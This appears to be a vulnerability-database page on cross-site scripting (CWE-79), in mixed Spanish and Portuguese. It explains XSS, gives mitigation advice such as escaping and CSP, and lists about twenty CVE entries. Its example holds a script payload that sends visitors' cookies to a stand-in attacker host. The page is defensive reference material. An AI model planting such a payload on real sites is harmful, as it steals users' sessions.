Fallos del tipo CWE-79

29.690 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-23857HIGHCross-Site Scripting (XSS) vulnerability in Cups EasyEPSS 0.4%CVE-2024-44819MEDIUMCross Site Scripting vulnerability in ZZCMS v.2023 and before allows a remote attacker to obtain sensitive information via a crafted script EPSS 0.4%CVE-2023-32105HIGHWordPress WPPizza Plugin <= 3.17.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-31017MEDIUMWordPress Nav Menu Manager plugin <= 3.2.5 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2024-23866HIGHCross-Site Scripting (XSS) vulnerability in Cups EasyEPSS 0.4%CVE-2024-53964MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-32192MEDIUMWordPress Ultra Addons Lite for Elementor plugin <= 1.1.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-1948MEDIUMGetwid – Gutenberg Blocks <= 2.0.5 - Authenticated(Contributor+) Stored Cross-Site Scripting via Block ContentEPSS 0.4%CVE-2023-24966MEDIUMIBM WebSphere Application Server cross-site scriptingEPSS 0.4%CVE-2025-32176MEDIUMWordPress Gallery Blocks with Lightbox plugin <= 3.2.5 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-32207MEDIUMWordPress Ni WooCommerce Cost Of Goods plugin <= 3.2.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-32173MEDIUMWordPress B Blocks plugin <= 2.0.0 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-1684MEDIUMOtter Blocks PRO <= 2.6.3 - Authenticated(Contributor+) Stored Cross-Site Scripting via File Field CSSEPSS 0.4%CVE-2025-8115MEDIUMPHPGurukul Taxi Stand Management System new-autoortaxi-entry-form.php cross site scriptingEPSS 0.4%CVE-2024-44818MEDIUMCross Site Scripting vulnerability in ZZCMS v.2023 and before allows a remote attacker to obtain sensitive information via the HTTP_Referer EPSS 0.4%CVE-2025-32177MEDIUMWordPress Embed Chessboard plugin <= 3.08.00 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-32195MEDIUMWordPress Ecwid Shopping Cart plugin <= 7.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-32189MEDIUMWordPress BWD Elementor Addons plugin <= 4.4.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2026-100174MEDIUMStored Cross-Site Scripting (XSS) in AIL Framework Tag Selector via Unescaped Tag NamesEPSS 0.4%CVE-2024-0334MEDIUMJeg Elementor Kit <= 2.6.4 - Authenticated (Contributor+) Cross-Site Scripting via Elementor Widget URL Custom AttributesEPSS 0.4%